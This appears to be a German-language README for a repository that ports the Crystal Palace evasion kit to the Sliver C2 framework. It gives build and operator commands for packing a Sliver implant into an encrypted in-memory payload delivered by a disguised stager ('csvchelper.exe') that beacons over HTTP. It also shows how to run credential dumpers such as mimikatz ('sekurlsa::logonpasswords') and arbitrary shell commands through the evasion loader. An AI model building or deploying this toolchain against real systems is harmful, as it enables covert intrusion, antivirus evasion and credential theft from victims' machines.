Crystal Palace Evasion Kit für Sliver
Crystal Palace Evasion-Kit portiert auf Sliver C2.
Dies ist der erste öffentliche Port von rasta-mouses Crystal-Kit (Cobalt Strike) auf Sliver. Es folgt dem gleichen Cross-C2-Muster, das von Crystal-Kit-Xenon (Mythic) bewiesen wurde.
Ersetzt Slivers standardmäßigen Reflective Loader und den Post-Execution-Pfad durch Crystal Palace (Raphael Mudge, BSD). Das Ergebnis ist ein positionsunabhängiger Code (PICO)-Blob, der Folgendes bündelt:
LoadLibrary / GetProcAddress)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryADie Sliver-Implant-DLL (oder jede Post-Ex-DLL) ist innerhalb des PICO XOR-maskiert und wird erst zur Ausführungszeit im Speicher entschlüsselt.
Die rohe Sliver-Implant-DLL wird nie direkt auf dem Ziel ausgeführt. Stattdessen wird sie mit Crystal Palace in einen PICO verpackt, AES-256-CBC-verschlüsselt und mit einem benutzerdefinierten Stager (~17 KB) ausgeliefert, der sie entschlüsselt und im Speicher ausführt.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, kein eingebettetes Payload)
→ payload.dat (~36 MB AES-256-CBC-Chiffrat)
│
▼ BEIDE Dateien in dasselbe Verzeichnis auf dem Ziel liefern
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC entschlüsselt payload.dat → PICO in RW-Speicher
▼ VirtualProtect(RX) → CreateThread → Crystal Palace Einstiegspunkt
▼ .pdata registrieren → TLS-Callbacks → DllMain → StartW() → Beacon-Goroutine → HTTP-Sitzung
Sobald eine Sitzung aktiv ist, können sensible DLLs (Recon, Credential Dumper usw.) über eine Sliver-Erweiterung durch Crystal Palace ausgeführt werden.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Laufzeitargumente ohne Neukompilierung übergeben, indem sie nach | angehängt werden:
sliver > crystal --payload C:/path/file.pico.bin|args here
Die crystal-loader.x64.dll ist eine Sliver-DLL-Erweiterung, die den PICO-Blob von der Festplatte in einen VirtualAlloc(RW)-Bereich einliest, ihn mit VirtualProtect auf RX setzt und zum Crystal-Palace-Einstiegspunkt springt. Es wird keine PAGE_EXECUTE_READWRITE-Zuordnung gehalten. Pfade verwenden Vorwärtsschrägstriche. Das Argumentformat ist type:string (kein BOF-Binär). Die DLL wird von Sliver im Speicher geladen – sie wird nicht als Datei auf die Zielfestplatte geschrieben.
crystal-exec ist ein zweiter Befehl, der in derselben Erweiterung gebündelt ist. Er führt beliebige Shell-Befehle durch Crystal-Palace-Evasion aus, indem ein PICO direkt in die Erweiterungs-DLL eingebettet ist – keine PICO-Datei zum Hochladen.
sliver > crystal-exec --cmd "whoami /all"
Die Ausgabe wird über eine Pipe an den Operator in der bestehenden Sliver-Sitzung zurückgegeben. Dies ist der schnellste Weg für einmalige Shell-Befehle, wenn keine vollständige Post-Ex-DLL erforderlich ist.
crystal-kit-sliver/
├── loader/ ← Reflective-Loader-Quellen (Anwendungsfall A) – originalgetreu von Crystal-Kit
├── postex-loader/ ← Post-Ex-Loader-Quellen (Anwendungsfall B) – Crystal-Kit + Xenon-Patch
├── libtcg.x64.zip ← Upstream-Binärabhängigkeit (im Baum für Build-Komfort behalten)
└── sliver-glue/ ← Sliver-spezifischer Build-Kleber
├── extension.json Sliver-Erweiterungsmanifest
├── generate.sh Post-Ex-DLL → PICO verpacken (Anwendungsfall B)
├── generate-implant.sh Sliver-DLL → PICO verpacken (Anwendungsfall A)
├── bundle-implant.sh PICO + Crystal-Palace-Demo-Stager in drop.zip bündeln (Legacy)
├── bundle-stager.sh Benutzerdefinierten Stager bauen: csvchelper.exe + payload.dat (primär)
├── pack-extension.sh DLL + Manifest in Sliver-Erweiterungs-Tarball packen
├── Makefile make objects / package / clean
├── stager/ Benutzerdefinierte Stager-Quellen (AES-256-CBC, asInvoker-Manifest)
└── wrapper/ crystal-loader.c (BOF-kompatibler DLL-Wrapper)
docs/
├── RUNBOOK.md Schritt-für-Schritt-Kali-zu-Windows-Lab-Anleitung
├── PORTING_MAP.md Datei-für-Datei-Zuordnung von Crystal-Kit zu diesem Repo + wörtliche Diffs
└── TOOLCHAIN.md Build-Voraussetzungen und Pipeline-Details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Alles bauen
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Anwendungsfall A – Sliver-Implant verpacken und Stager bauen
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → erzeugt build/csvchelper.exe + build/payload.dat (beide auf das Ziel liefern)
# 5. Anwendungsfall B – Post-Ex-DLL verpacken (postex.sh übernimmt die Benennung und gibt den Sliver-Befehl aus)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# Mit fest codierten Argumenten: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec – den integrierten Befehlsausführer neu bauen (nur nach Änderung an crystalexec.c nötig)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Siehe docs/RUNBOOK.md für die vollständige Bedienungsanleitung (Sliver-Installation, Listener-Einrichtung, Zielausführung, Fehlerbehebung).